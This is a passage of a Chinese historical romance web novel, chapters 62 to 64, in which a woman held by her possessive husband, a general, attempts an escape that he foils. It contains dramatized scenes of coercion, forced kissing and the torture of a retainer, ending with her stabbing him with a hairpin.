第62章 夜咳 洮州地处北境边陲,气候尤为冷寒,如今虽已过立春,屋内也烧着暖炕和炭盆,可夜里仍有冷风寒气自窗缝间丝丝渗入。 折柔梦中睡得昏沉,不知到了什么时辰,隐约觉得身上有些发凉,迷迷糊糊地伸手去拽被子,不想却摸到身畔的暖炕空了半边,甚至已经没有余温。 陆谌不知去了何处。 指尖微微停顿一霎,她随即提紧被衾,翻了个身继续睡去,并不打算理会。 正闭着眼睛,忽然听见屋外一阵细微的响动,像是有人在咳嗽,又极力压抑着,声音有些发闷,断断续续地,混在呼啸呜咽的夜风中,听不大真切。 折柔蹙了蹙眉,把脸更深地埋进枕头里。 屋外的咳声却陡然变得急促,分明是冷风呛入了喉头,肺里受寒,愈加难忍,一声接着一声地再难止住。 不多时,檐下响起一阵匆匆的脚步声,踩过落雪,咯吱急响。 陆谌似是走得远了些,本就时断时续的咳嗽声彻底隐没在了夜风里。 四下里忽而陷入一片沉寂,只听着北风呜咽不休,间或卷起碎雪拍打在窗棂上,发出细碎的“沙沙”声。 折柔慢慢睁开眼。 在岷州的时候,南衡曾同她说起过,陆谌在那夜遇刺后落下了症候,时常夜咳呕血,说不准往后余生都难以根除。 昏暗的光线下,折柔望着眼前熟悉的窗棂纹样,指尖无意识地揪紧了被角,有些说不清心里到底是何滋味。 好半晌,她抿了抿唇,重又闭上眼,只装作浑然不知。 夜里飘着碎雪,陆谌在屋外咳了许久,肩头落满雪花,身上也早已被寒气浸透。 他轻手轻脚地回了屋,漱过口,到炭盆边熏去冷意,直到摸着不再发凉,这才重又走回来。 正要掀开被子,陆谌动作忽地一僵。 同床共枕这么多年,她到底是熟睡还是在装睡,他再清楚熟悉不过,只一眼便能瞧个分明。 肩背微微发僵,呼吸绷得隐约有几分迟滞,她明明是醒了,在装睡。 她知晓他犯了旧疾。 可她摆明了是不想理会,也不再心疼他,大抵只想看他自生自灭。 陆谌垂眸看着榻上人柔静的侧脸。 那年他不过是风寒发热,可她却心疼得眼睛发红,整整一日就守在他的榻边,一边煮着热茶,一边轻声哼着不知从何处学来的江南小调,唱得倒是像模像样,尾音微微上扬,带着几分生涩的婉转。 他烧得糊涂,朦胧中依稀记得那唱词,大抵是“茅檐低处,溪上青草,遥望谁家炊烟早……” 也是在洮州,也是在这时节。屋外风雪漫天,屋内小火炉上的茶吊子咕噜咕噜冒着热气,茶水滚了又滚,她不厌其烦地吹温,又柔声哄他再多喝一盏。 稍一回想从前和如今的差别,方才咳痛的喉咙里像是吞了一块热炭,既刺烫,又涩苦。 凝滞片刻,他掀开锦被躺了回去,长臂一探,直接将人捞进了怀里。 折柔毫无防备,后背骤然地撞上一片温凉坚硬的胸膛,青年峥凸的锁骨如刀锋般抵在她肩胛上,硌得她隐隐作痛。 她不自觉地绷紧了身子,一瞬间连呼吸都屏住了。 陆谌一只手臂揽住她的腰肢,埋头在她颈间嗅了嗅,像是野兽在逡巡自己的猎物,“装睡,嗯?” 折柔抿了抿唇,依旧背对着他,一动不动。 陆谌眸光沉了沉。 她只肯用后背对着他,乌浓的长发散乱,遮住小半张脸颊,让他丝毫瞧不见正脸神情。还是这副脾性,心中不满便缩在被子里,抿着唇不理人。 冬被厚重,这般拢盖在身上,越发显得她身形单薄纤瘦,半边肩膀还不及他一只手长,偏生处处都透着股倔劲。 陆谌干脆使了些力道,强硬地将人扳过来,掐起她柔软的脸颊,带着几分惩戒的意味,低头狠狠吻了下去。 折柔愣了愣,将要挣扎,便被他一手牢牢制住,压得愈紧。 温热湿润的呼吸不由分说地侵入进来,裹挟着茶水的清苦涩意,又隐约混杂了一丝血气。 这个吻来势汹汹,陆谌用力抵开她的齿关,勾起她的舌尖咂弄纠缠,不容半分抗拒,仿佛要将她的呼吸吞吃殆尽。 舌根被吮得发麻,折柔渐渐地有些喘不过气,呜咽着想要挣脱,却被他更用力地扣住后脑,硬是渡了口气给她,迫着她和他津液交缠,呼吸间都是他的气息,再也分不出彼此。 直到察觉到怀里的人慢慢放软了身子,喉咙里的呜咽化作喘息的轻哼,他的动作才跟着温柔下来,轻啄慢吻,掌心揽住她细软的腰肢,把人往怀里带了带,将她搂贴得更紧。 手上也作乱,带着薄茧的指腹细细抚过她后心一节一节的脊骨,折柔教他惹得一阵阵轻颤起来,忍不住微微向后仰起脖颈。 陆谌呼吸渐沉,唇舌下移辗转,在那截白嫩的纤颈上吮咬出星点红痕,似乎唯有如此真真切切地留下自己的印记,方能教他稍觉满足。 停顿片刻,他哑声开了口,温热的薄唇仍贴在她颈间,说话时带起微微的震颤,“那夜在船上遇刺后,肺腑余毒未清,到如今一直不好过。有劳宁大夫明日给我看看,开两副方子,成么?” 折柔总算匀顺了呼吸,自然不肯应允,淡淡地偏过脸去,“翰林医官局各个都是杏林妙手,比我高明太多。” 陆谌低笑一声,吻了吻她的耳垂,沉哑的声音裹着热息,暖着她的耳,“那群庸医,如何比得过妱妱圣手。” “更何况,”他用掌心轻轻摩挲着她的脸颊,语气却不容置疑,每个字都咬得极重:“妱妱,这是你欠我的,合该你来还。” 这话说完,折柔怔了怔,半晌没有应声。 陆谌一顿,抬头去找她的眼睛,却见她揪紧了被衾,肩头微微发颤,似在竭力压抑着什么。 等了许久,她终于开口,声音轻得几乎教人听不见。 “那你欠我的呢陆秉言?” 陆谌不由一怔。 折柔抬眸看向他,喉头发涩,眼中渐渐泛起雾气。 陆谌是很细心,很体贴,也疼惜她,照顾她,可他却也一直在强求她,逼迫她。 他给的,她不得不收,他想要的,她也不得不给。 他这个人,性子太过偏执,爱恨都极致,爱之欲其生,恶之欲其死。 他若想做些什么,她没有分毫反抗的余地,这如何不教她害怕? 他越是强求,她便越是害怕。 害怕被他打磨得一点点失去自己,却又无力挣脱,只能忍耐、承受、变得麻木。 更怨恨他对她说那些难听话,做那些难堪事。 折柔不自觉地攥紧了被角,声音很轻,“陆秉言,在燕子坞的那几个月,没有人强迫我,也没有人欺侮我,我凭自己的本事过活,平素虽过得清苦些,却很自在,很安心,也很欢喜。” “可你却非要强逼我回来,按着我低头,我不喜欢过这样的日子,也不想过这样的日子……” 她越说越痛,却又无比清楚自己说什么都没有用,忍不住微微蜷缩起身子,隐有哽咽,“你既有权也有势,正当好年华,日后前程一片大好,上京城中多得是女子愿意嫁与你……何必非要强求我一个,放我走罢……” 何必非要逼着她,一点点消磨掉她对他的情意,让好好的少年夫妻,走到如今这一步。 “不准。”仿佛被一盆冷水兜头浇下,陆谌心中的戾气陡然翻涌起来,额角青筋突突直跳,黑眸沉沉地望着她,咬牙道:“总之,我不准。往后若是再提半个字,我……” “你怎样?” 折柔听他这般蛮横,语气里不由带上几分压不住的怨愤,恨恨打断:“如今我人也被你强留下来,你还要怎样?” 陆谌呼吸一滞,定定地看着那双漫起水雾的倔强秀眸,喉结艰难地滚了几滚。 他还要怎样? 人是留在了他身边,可越是这般触手可及,便越是叫人不甘,越是叫人想索要更多。 要你爱我。 要你如从前一般爱我。 为何偏偏就是不肯? 心脏抽痛,说不出的无力如潮水般漫上来,涨得胸口发涩。 陆谌最后到底是什么都没说,只是越发地掐紧了她,埋首在她的颈窝里,低低地叹了一声,“妱妱……” 折柔一动不动地被他揽抱在怀里,心头只觉说不出的悲凉。 物是人非事事休。 从前满心满眼都是陆秉言的那个妱妱,早已不知丢在何处,连她自己都找不见了。 ** 陆谌早前便告了假,两个人在洮州连住数日,直到临近上元灯节,他方才教人收拾了行装,带她启程回京。 原以为还要回去陆府,却不想陆谌已在甜水巷另置了一处三进的别院,园中凿小池,种官柳,景色僻静雅致,外出又临近潘楼,交通也便利。 两个人很快落脚安置下来,晚间用暮食的时候,折柔试探着和他提起从前那间成药铺子,说是想回去看一看。 陆谌看着她,没有立时应声。 “陆秉言,”折柔不由蹙眉,耐着性子,稍稍放软了些声音,“你总得容我喘口气,难不成真要把我当犯人一般锁着么?” 如今陆谌又将她强寻回来,甚至守得比从前还要严实,南衡整日都跟着她,寸步不离。 想要脱身难上加难,可早晚她都要想法子离开,断不会在上京久留,这药铺自然也不会是长久生意。 只是脱身还不知在何时,在那之前,她总得给自己寻个喘息的出处,不能就这样教他关在后宅里锁着。 闻言,陆谌垂眸凝视她良久,终于颔首,“也好,你离开这些日子,小婵也很惦记你。只是我值上还有事,并非时刻都能抽身,南衡需得留下,守在药铺外头。” 折柔自然也没奢望过陆谌能轻易放过,只要能出门、能做些事便已很好,她闻言点点头,隔日便由南衡紧紧跟随着,去了马行街的药铺。 小婵乍一见到她,欢喜得都要傻了,扯着她的手热络半晌,又猛然想起来什么似的,转身噔噔噔跑回到柜后,急匆匆抱来两本厚厚的账册,“娘子,您瞧,这些日子的收账都在这儿了,婢子替娘子一笔一笔都记着呢!” 一双眼睛亮晶晶的,像只邀功的小雀儿。 折柔不由失笑,“这铺子本就是给了你的,又何必给我看?” 小婵倒是有些诧异,“娘子不知么?郎君给婢子折算了银钱,只是让婢子帮忙照看打理,这间药铺还是娘子的。” 折柔愣了愣,半晌,也没有多说什么,只是从她手里接过账册,坐到案后慢慢翻看。 看完一本,正要捡起另外一本册子,门外进来一个头戴斗笠的粗豪汉子,帽檐压得有些低,看不清容貌,只瞧得见长满络腮胡子的下半张脸。 小婵笑迎上去,“官人……” 不及她说完,那粗豪汉子冷哼了一声,从怀中掏出一个皱巴巴的药包,粗声粗气道:“我家娘子昨日从你们这拿了一副甘露丸,谁知回去吃完,不到夜里就犯了毛病,小腹胀痛难忍,疼了整整一宿。你们店里可是用错了药材,又或是以次充好?” 小婵一愣,急急道:“怎会?我们铺子里用料本分扎实,向来有口皆碑的,官人若是不信,大可去问问……” “少说那没用的,”那人却一扬手,大步越过了小婵,径直往里走来,语气愈发不善:“你们店里主事的在哪儿?今日不给爷个说法,便砸了你们这破店!” 眼瞧着像是个存心找事的,折柔不由蹙眉站起身来。 然而就在错身而过的刹那,那人竟用只有他们二人能听见的声音,极轻、极快地唤了一声:“九娘子。” 折柔心头猛地一跳,面上却并未显露,只笑了笑,温声道:“这副甘露丸的药方是我写的,容我给你瞧瞧。只不过这味成药里用了十几种药材配伍,若想分辨清楚需得对着光照,你且随我到后院来。” 小婵一惊,看了眼那人健壮的身形,有些迟疑:“娘子……” 折柔安抚地冲她笑笑,“没事。” 顿了顿,又故意悄悄看了她一眼,压低声音道:“你在这里等着,倘若听见我弄出声响,好即刻去外头叫南衡过来帮忙。” 小婵的心思一向单纯好骗,当即听从她的吩咐,重重点头,小声道:“娘子放心!” 折柔心下微松,引着那汉子走到后院,四下无人,她转回身定睛一看,来人果然正是周霄。 “是鸣岐让你来的?” 第63章 再逃 周霄左右环顾一圈,见周遭空旷没有旁人,这才凑近一些,压低了声音道:“是,公子吩咐属下,要设法带娘子离开。” 折柔一怔,随即摇了摇头,“药铺外头有人守着……我走不脱。” 自打她和陆谌回京,周霄便一直在暗中跟随,对此心里早有打算,闻言继续道:“无妨,娘子如今人在上京,一切都好办。只要寻个机会,避入胥国公府,饶是陆将军胆子再大,也断不能硬闯公府要人。” 折柔心头猛地一跳,指尖不自觉微微收紧。 她原想着要慢慢图谋,早晚能寻到机会离开,却不想时机来得这般凑巧,虽然隐约觉得有些不安和仓促,却也实不甘心轻易放弃。 思量片刻,她下定决心,点了点头,轻声道:“听闻过几日相国寺外开办药市,我会过去瞧瞧。” 周霄会意,立即接口:“好,届时属下会安排马车到相国寺后巷接应,那些看守的护卫娘子若是不能甩脱,可放心交给属下处理,不出小半个时辰,娘子便能赶到国公府。” 折柔抿了抿唇,轻轻“嗯”了一声。 如今话已送到,药铺外毕竟还陆谌的人守着,周霄不便再多留,向她告了辞便转身往回走。 见周霄走出几步,就要回去前堂,折柔微微犹豫一瞬,最后还是出声叫住了他,“鸣岐呢……他近来可还好?” 其实她心里再清楚不过,谢云舟的身份终归不同,一入皇家深似海,往后身上牵绊难断,他们之间也不该再有什么交集。 原本她真心期冀过的日子,转眼便成了镜花水月一场,前路又变得茫茫晦暗,她和鸣岐两个,都是身不由己。 只一想,便教人心头泛起涩意。 她盼着他好,春日到了,懒洋洋地叼根草梗,还是那副张扬的肆意模样。 听她问起这个,周霄神色微微一滞,旋即应道:“公子他一切都好。” 折柔隐约察觉出其中异样,忍不住蹙眉追问:“当真?那他为何差遣你过来,他人在何处?” 不想她心思敏锐,周霄眼神忽有一瞬的躲闪,“公子如今人在禁中,暂时走脱不开。” 虽然那一丝飘忽稍纵即逝,可折柔有心留意,将他的心虚瞧了个分明。 她点点头,也不再多问,和周霄一道往药铺的前堂走,在他将要抬手去掀门帘时,状似不经意地问了一句,“他伤得很重么?” 周霄下意识反驳,“不——” 话还未说完,“重”字刚刚冒出个头,他便惊觉不对,猛地收了声。 折柔停住脚步,平静地看着周霄。 那夜他从胥国公府逃出来时,身上便是带着伤的。如今再被迫回到官家身边,她料想,依着他那桀骜的脾性,八成要受些家法教训。 果不其然。 周霄心里那个悔啊,恨不能抽自己一个大嘴巴。 只能硬着头皮,勉强往回找补,“公子是受了些罚……不过我们这些习武之人,挨顿鞭子算不了什么,当真不重,真的!” 折柔心脏紧了紧,低声嘱咐道:“让他好好养伤,按时用药,莫要落下病来。” 周霄忙应了。 眼瞧着周霄气汹汹地来,又灰溜溜地走,小婵只当他是自知理亏不敢再闹,不由抚着胸口长吁一口气,又不住夸赞折柔,“还好有娘子在,可吓死婢子了。” 折柔弯唇笑笑,有意调开了话头,向她问起这些时日药铺里的琐碎杂事。 提起这个,小婵立时来了兴致,叽叽喳喳地同她说个没完,折柔大多时候都在听,偶尔也应和几句,两个人有一搭没一搭地闲叙了大半日,一直到晚间陆谌下值,过来药铺接人。 上元将过,京中仍是寒意料峭,傍晚时分飘起了大雪,陆谌一路冒雪骑马过来,俊黑的眉睫上沾满细碎冰晶,大氅外头也落了层薄雪,一进门,便挟来一身的霜雪寒气。 小婵赶忙起身行礼,“郎君。” 陆谌的视线越过她,望向不远处那道纤瘦的背影,唤了一声,“妱妱。” 折柔依旧坐在小案前,一动不动,没有半分反应。 一旁的灯盏上罩了层素纱,筛下一片温暖朦胧的烛光,流转在她软玉般的侧脸上,氤氲成温润柔腻的光泽。 陆谌走近,垂眸看了一会,忽而伸出手,将冰凉的掌心贴到她的脖颈上。 这一下猝不及防,折柔低低惊呼一声,猛地打了个寒颤,纤细的颈子下意识就要往衣领里缩,却不想反将他的手掌困得更深。 冷硬的长指顺势陷入那一片温热柔腻的肌肤里,指腹薄茧刚好抵住她急促跳动的脉搏,不轻不重地摩挲了两下。 似亲昵,又似试探。 动作隐秘,冰凉的触感却又分明。折柔顿觉羞恼,抬头瞪了他一眼:“陆秉言!” 许是这一下全然出乎意料,她语气里虽然含着薄怒,眉眼却生动鲜活了许多,不止有恼,还有嗔,依稀能辨出几分情浓时的模样。 像是从前被他逗弄得恼了,忍不住朝他亮亮爪子。 陆谌愣怔一瞬,旋即低低地笑了起来,松开手,长指向上拢起她的下巴,低头吻了吻,“走了,回家。” 别院里已经备好了暮食,照旧依着她的口味,笋肉蒸饺,炉焙羊,清炒冬葵,还另配了蕈菇酱瓜和酥蜜饼,只是这饭食再鲜美,也教人没有胃口。 折柔勉强夹起两筷素菜,抿了抿唇,状似不经意地提起来,“后日相国寺外有药市,我要过去看看。” 象牙筷在瓷碗上轻轻一磕,发出细微的脆响。陆谌闻言偏头看了她一眼,那双黑眸里沉沉湛湛,让人瞧不出情绪。 折柔垂下眼睫,胸口不由有些发紧,只以为他恐要不允,正思量着再说些什么,却听他低低地“嗯”了一声,“让南衡跟你去。” 说着,又夹了一块羊肉放进她的小碗里,“早些回来,晚间我带你去州桥夜市,听说新开了一家旋煎羊肉的摊子,味道很好。” 沉默片刻,折柔轻轻地点点头,隔日晌午,由南衡跟着,登上了外出的马车,往相国寺行去。 这处别院同相国寺离得不算远,若是寻常日子,乘车过去只要一盏茶的功夫,但今日相国寺外开放万姓集市,游人如织,街巷拥堵,马车绕过保康门街,走了两炷香才将将行到寺外的长街上。 平川勒紧缰绳,寻了一处空地将马车停稳,折柔扶着车壁走下来,南衡就跟在她身后,寸步不离,在她瞧不见的暗处,还不知陆谌另外安排了多少人。 四下里人声鼎沸,各色小贩往来喧嚷,入目极是热闹,往前走了半条街,也不知前头生了何事,忽然有人流冲撞过来,南衡一时顾不得礼数,上前隔着衣袖握住折柔的手腕,替她挡开身前拥堵的人群。 等到人潮散落一些,突然听见折柔低低地倒嘶了一声。 “娘子?”南衡猛地一惊,下意识扭头,顺着她的视线看去,就见她裙角上不知何时脏污了一块,像是在人流中蹭上了饴糖,隐约有些发黏。 折柔蹙了蹙眉,抬头环顾了一圈,最后看向对街的那家成衣铺,对南衡轻声道:“没事,先同我去那间铺子吧,我要换身衣裳。” 这间成衣铺她从前来过,一楼转角的里间有一扇雕花小窗,可以从那里进后院,出角门,再往前走出不远便是相国寺的后巷,若无意外,此刻周霄应当安排了马车在等她。 南衡应了声是,跟着她进了成衣铺,等她选好了衣裳,又一直跟到里间门口,瞧着实是不方便再入,这才停下脚步,守在门外。 听见屋门“吱呀”一声关合,折柔心头不受控地猛跳了一下。 她用力掐了掐掌心,勉强迫着自己镇定下来,回头迅速地扫过一眼,再没有分毫耽搁,放下手中的衣裳,径直走到那扇直棂窗前。 她心知这法子太过仓促,至多也就能瞒住南衡一盏茶的功夫,就算周霄在暗中相助,他能拦得住南衡,也拦不住旁人回去给陆谌送信,此间容不得她有半分拖延。 小心地提起裙摆,从成衣铺的窗户翻下来,折柔心脏急跳,全然不敢回头,更顾不得膝盖被窗棱硌得生痛,脚步匆匆,迅速穿过角门,沿着小巷跑出去。 不多时,绕过街头的一棵歪脖树,就见一架寻常的青帷马车停在巷角,一个身穿短打的汉子头戴着斗笠,正倚坐在车辕上,似是在等着什么人。 折柔快步朝马车走过去。 车夫闻声抬起头,一眼瞧见她过来,眼神顿时一亮,立即跳下车辕,压了压斗笠,上前低声询问:“小的是奉周郎将之命在此等候,敢问娘子可是宁家九娘?” “不错,是我。”折柔冲他点点头,没有丝毫犹豫,提裙上了马车,“走罢!” 见她登车坐稳,车夫反手合严车门,一扬马鞭,马车辚辚向前驶去。 车轮辘辘碾过石板,脚下传来细微的震动,折柔将背脊紧紧贴在车壁上,心脏仍旧急跳不止,指尖不自觉地抠进身下的软垫里,一直听着身后街市的嘈杂渐渐远去,方才稍松了一口气。 望窗上的纱帘随着车身摇晃轻轻摆动,筛下几许明亮的天光,在车厢里投下一道道斑驳的光影,仿佛有种不真切的虚幻,教她一时有些恍惚,也不知陆谌多久会发觉,到时又会如何发疯…… 折柔闭了闭眼,让自己不再去想。 她都已经痛苦得快要喘不过气来,又如何管得了那许多…… 第64章 杀我 马车驶出小巷,绕过繁华的长街,转而行入一条幽深夹道,两旁不再是接连不断的酒楼脚店,而是寻常人家的院墙,市井的喧嚣声愈发变得稀落,只听得见车轮碾过积雪,吱嘎作响。 走出几条街后,折柔渐渐觉出些异样来,这周遭太过安静,静得甚至有几分诡异。 上京繁华,便是再寻常的街巷小道,也会有行人车马往来,更不必说胥国公府这等豪贵的去处,临近皇城,街肆繁华,应当越走越往人声热闹去才对。 掀起纱帘,从望窗看出去,也是一片不熟的景象。 越想越发慌,她正想唤一声车夫,马车却忽然停顿下来。 折柔心头蓦地一紧,越发觉得不对,可还不及出声询问,车门便被人从外狠狠拽开,天光一霎如潮水般倾泻而入。 她下意识地眯了眯眼,却在抬眸的刹那,猝不防撞上一双幽邃冰寒的沉沉黑眸。 呼吸一瞬滞住。 陆谌! 他怎会在此?! 折柔惊惶地睁大了眼,心跳陡然加快。 她身后便是车壁,分明无处可躲,却仍是本能地想要往后缩,然而刚动了一下,陆谌便已按捺不住心头躁怒,直接探身入内,一把将她扯过去,狠狠扣进怀里,“过来!” 折柔自然不肯轻易依从,细弱的手指死死扳住车窗边缘,指节都泛了白,咬牙怒道:“我不回去!” 陆谌讥诮地扯了扯唇角,寒声道:“怎的,还在指望周霄过来搭救你?” 折柔浑身一僵,缓缓抬眸,愕然道:“……你说什么?” 她的抗拒太过明显,陆谌眼底隐约闪过一抹刺痛,眸光愈发冷冽,“回京之前,我便知晓他在暗中盯着。不然你以为,如何能这般轻易避开南衡眼目?” “还是你以为,我手底下养着的,尽是些如他一般的废物?” 折柔怔住。 一颗心直直地沉下去,仿佛坠入无底的寒潭。 争执半晌,她的力气已快耗尽,又如何抵得过陆谌的力道,教他半挟半抱地强行带下了车,就见眼前是一处陌生的小院,周遭不见人烟,四下里一片沉寂。 折柔抿了抿唇,心中抗拒,“……这是什么地方?” “不想知道那废物如今在身何处么?过来,我要你亲眼看着。” 折柔陡然生出不妙的直觉,猛地抬头看向陆谌,胸口急剧地起伏,唇瓣发颤,“你做什么?你又要做什么?!” 陆谌却不再作声,只冷沉着眉眼,扣着她的细腕,强行将她带进了小院。 院落空荡得近乎萧索,青石地面上的积雪未扫,四下里不见半点杂物摆设,一眼就能看清全部情形。 周霄已被几个护卫死死按跪在雪地上,南衡正按刀守在一旁。 折柔踉跄着走进去,脚下还未站稳,就见那护卫手上一拧一拉,伴随着骨骼错位的“咔啦”闷响,周霄浑身剧颤,喉间溢出一声惨哼,又被他强行咬碎在齿间。 折柔心尖猛地一抖,惊骇失声,“周霄!” 她双腿倏地一软,整个人险些跌倒下去,陆谌用力攥紧她的手腕,撑着她站稳。 他语气淡淡,那双黑眸里沉静无波,却幽邃得叫人心颤,“胆敢从我的眼皮子底下抢人,他该死。也该教他的主子长长记性。” 折柔几乎不敢相信自己的耳朵,一瞬间脸上血色尽褪,惶然地抬头看向他,“陆谌,你疯了么?他是鸣岐的亲随……是鸣岐的亲随!” 鸣岐。 又是谢鸣岐。 那些他竭力逼着自己忘掉的东西猛然间再次翻涌上来,像被人狠狠拧住了心脏,剧痛蔓延开来,仿若锥心刺骨。 额角的青筋突突急跳,陆谌呼吸发起颤来,竭力压抑着心头的恨怒和妒火,猛地回身将她抵在廊柱上,低声警告:“住口。不准再提他!” 折柔安静一霎,随即更猛烈地挣扎起来,用尽全力去捶打陆谌的胸膛,几近嘶声,“你放了他!是我自己要走,和旁人没有干系!没有干系!你听见没有!” 陆谌却分毫不为所动,任由她发狠地捶打挣咬,仿佛觉察不出痛意,只冷冷地看着院中情形。 见护卫还要动手,折柔心中大急,只想冲过去救人,却被陆谌攥紧了手腕,狠狠按住,一把扯进怀里。 “你放开!放开!” 陆谌抬起她的下颌,黑眸深深地望着她。 “说,你不会再走。” 折柔抿紧了唇,一双秀眸盈满怒火,倔强着不肯作声。下一瞬,她眼前忽地一暗,冰凉而柔软的触觉覆上了她的唇。 她本能地别开脸,呜咽着用力想要挣脱,却被陆谌强硬地桎梏在怀里,舌尖狠狠抵开她的齿关,不由分说地纠缠掠夺。 折柔挣扎不脱,索性狠狠咬住他的嘴唇,铁锈般的腥气一霎蔓延开来,偏他丝毫不惧痛意,似是带着要她服软的意味,粗粝的唇舌追逐着柔软温热,辗转吞吃,炽热的鼻息灼得她脸颊一阵阵发烫。 血潮汹涌着拍打向耳膜,周遭的声音愈发清晰入耳,朔风簌簌掠过檐角,唇齿间水声黏腻缠绵,她甚至能听见院中护卫背过身去的窸窣轻响。 这个吻蛮横,急切,如同烈酒入喉,一路从舌尖烧灼至心头,折柔呼吸窒闷,眼前渐渐发晕,只能被迫地承受着他的侵袭。 快要教她窒息的漫长一吻终于结束,陆谌在她的唇上轻咬了一口,闭了闭眼,颤抖着呼出一口气,“你说,我就饶了他。” 他又是如此! 折柔心头痛恨至极,胸口急剧地起伏,愈发不愿低头,可院中周霄已快承受不住,眼见着呼吸急沉,面色也变得青白。 她只觉心口如同针刺,一下一下,疼得几乎要喘不过气来,唇瓣张了又合,合了又张,终于艰难地哽咽出声,“我……我不走……” 陆谌微微一怔,随即扬了扬手,南衡见状,赶忙叫人收手,将周霄带下去。 院中的声响终于止歇,冷风簌簌卷过庭院,呜咽着卷起地上细碎的雪沫。 折柔心脏仍旧急跳不止,眼泪不受控地涌流出来,陆谌蹙起眉,抬手去给她擦,“妱妱……” “啪”地一声脆响,在寂静的庭院里格外刺耳,折柔狠狠拍开他伸过来的手,嘶声怒斥:“别碰我!” 陆谌的手僵在半空,手背留下一道红痕,火辣辣地疼。 好半晌,她抬起泪眼,目光如冰刃般刺向他,冷嘲道:“如此,你可满意了?” 也不想听他作何回答,折柔恨恨抹去颊边泪珠,转身便往回走,却不想陆谌一个箭步追上来,扣住她的手腕,一把将她抵回到廊柱上。 “妱妱!” 后背一瞬抵上冰冷的硬木,见他如此还不肯放过,折柔不由攥紧了拳,心头愈怒,颤声斥道:“上将军权势滔天,这里到处都是你的亲随,我还能走去哪里,你又有何不放心?放手!” 陆谌被她眼中灼人的恨意刺痛,心头蓦地一紧,胸口狠狠拧痛,几要喘息不能。 两个人正僵持撕扯间,一个白瓷小瓶突然从她袖中滑出来,落到雪地中,在地上滚了几圈,停在他脚边。 折柔不自觉地蹙了蹙眉。 陆谌眸光微微一暗,俯身拾起,单手顶开布塞,放到鼻间嗅了嗅。 这气味他再熟悉不过。 他身担武职,从前充军时少不得受些棍棒拳脚,她曾特意为他配过这药,药方里添了红花和川芎,不同于刀剑外伤,是专治鞭扑和棍杖的钝伤。 长指不自觉地收紧,瓷瓶在掌心被攥得咯咯作响。 明明心中早有了答案,却仍是缓慢地开口询问,“这是何物?” 折柔抿紧了唇,偏过头不作声,只留给他一个倔强的侧脸。 心头陡然涌起沉沉戾气,陆谌指间用力,骤然攥碎了瓷瓶,一把扳过她的脸颊,咬牙切齿地看着她,“冷眼看着我旧伤呕血,却连逃跑都不忘给他带药……你待他谢鸣岐,倒还真是一日夫妻百日恩啊。” 听他言语讥刺,折柔心头大恨,积压的怨忿一瞬翻涌上来,存了心要他不痛快,她抬起头,毫不示弱地对视回去,颤声道:“我同他自然是有情分,他待我那样好,若是能同他在一处,我迟早忘了你……若非你设计逼迫,鸣岐也不会受罚,为此,我恨你都不及。” 肺腑间一瞬痛意如绞,陆谌微微眯起眼眸,打量她片刻,忽而低笑出声,“心疼了。” 折柔浑身发抖,眼中不觉噙起淡淡水光,咬牙抑住哽咽,“是!我就是要心疼他,不要心疼你。哪怕此刻我人同你在一处,心里……心里也只惦记着他的安危。” 望着那两片不断开合的嫣红唇瓣,陆谌眼前晃了一晃,猛然泛起一阵眩晕。 从前那般温暖柔软的唇舌,吐露的字句都裹着蜜糖,让他流连心悸,沉溺其中,而今却化作世间最锋利的刀刃,要剐净他的血肉,剔碎他的神魂,教他痛苦不得超生。 陆谌死死咬紧牙关,将喉间翻涌的那股血气硬生生咽下,扯唇冷笑起来,“还真是郎情妾意……你和他在一处快活的时候,又可曾想过我?你可知我过的是什么日子?我有错,答允给你个交代,我去杀了那贱妇,可回来你便已悄声不见……” 指节攥得发白,他继续开口,字字嘶哑,像砂砾磨过渗血的伤口,“后来我四处寻你,你不好过,我又何尝好过半分?日夜受过多少煎熬,耗干多少心血……可你偏偏就是不肯回头……” “我为何要回头?” 折柔抖着嘴唇,眼前泛起朦胧的水雾,隐隐压不住喉间哽咽,“你我共过患难一场已是难得缘分,就如此不好么……为何一定要强求?我不想和你同富贵,又有何错?你去寻我,就是将我软禁起来、迫着我做不愿做的事,我为何还要回头?” 她越说越怨痛,只恨自己的话不能让他再好生疼上一疼,忍不住抬起头,含泪讥诮,“陆秉言,你到底要怎样才肯放过我?陪上你一年、两年,等到床笫之间,上将军腻烦了我,想要另寻新欢美眷,才肯放我走?” 话音落下,陆谌仿佛一瞬被雪水兜头浇了个透,只觉心脏教千万根冰针一齐刺穿,又随着血脉的跳动被一寸寸撕裂。 剜心锉骨,亦不过如此。 她竟用这样的话来激他,轻贱自己,更轻贱他。 字字句句,如受凌迟。 她眼里的怨怒,几乎要烧得陆谌体无完肤。 半晌,他才从灼痛的喉咙里挤出一丝涩哑的声音,“在你心中,我寻你,只是为了这等事?” 折柔红了眼眸,存心要拣出让他痛苦的话来说,倔着脖颈,冷声反问:“不然呢?” 看着眼前人泛红的眼眶,怨怼的神色,陆谌只觉周身痛意如焚,心头仿佛被人用力拧绞着,疼得找不到发泄的出口。 他想要说些什么,薄唇颤了颤,却发觉自己喉头痉挛,一时竟发不出声音。 喉结狠狠地滚了滚,陆谌胸膛急剧地起伏,面色愈发苍白,“好……既然这般恨我,那我成全你。” 他低下头,颤抖着手解下腰间的匕首,“啪”地一声,将刀柄重重砸进她掌心,“来,杀了我。” 匕首在冷风中吹得久了,刀柄上浸透寒意,折柔被冰得猛然一个激灵。 “杀了我。”他牙关紧咬,额角青筋突突直跳,“我死以后,再不会有人迫你,也再不会有人拦你。你尽可如愿快活,逍遥自在,想要谢鸣岐也好,李鸣岐也罢,一切都随你心意。” 他又是如此。 偏要步步紧逼,不留半分余地,言语化作双刃利剑,狠狠刺伤彼此,剜得两个人心头都鲜血淋漓。 折柔眼中蓄起水雾,细弱的手腕不住发抖,匕首在掌中摇摇欲坠。 陆谌却一把扣住她的细腕,强迫她收拢五指,攥紧刀柄。 “不是恨我么?”他抬眼,直直地逼视着她,厉声喝道:“动手!” 仿佛一道惊雷当头炸响,折柔只觉浑身的血液瞬间冻结,寒意攀着脊背爬上来。 大抵是被逼迫到了尽头,神智骤然空白一霎,积压的委屈与愤恨在这一刻轰然决堤。 她几乎是凭着本能,猛地拔出鬓间发簪,狠狠朝他刺了过去! 陆谌一动不动地站在原地,分毫未躲。 锋锐的簪尾一霎穿透衣衫,没入近在咫尺的胸膛。 温热的鲜血立时涌流出来,顺着簪身的纹路淌落,一滴一滴地坠落到地上,染红一片皎白落雪。 折柔呼吸急促,指尖不住地发颤,仿佛被寒意浸透,全然不停使唤。 寒风卷着碎雪呼啸而过,檐角的铁马被吹动,摇晃出一阵当啷急响。 此间却静得落针可闻,只听得见彼此交缠起伏的呼吸声。 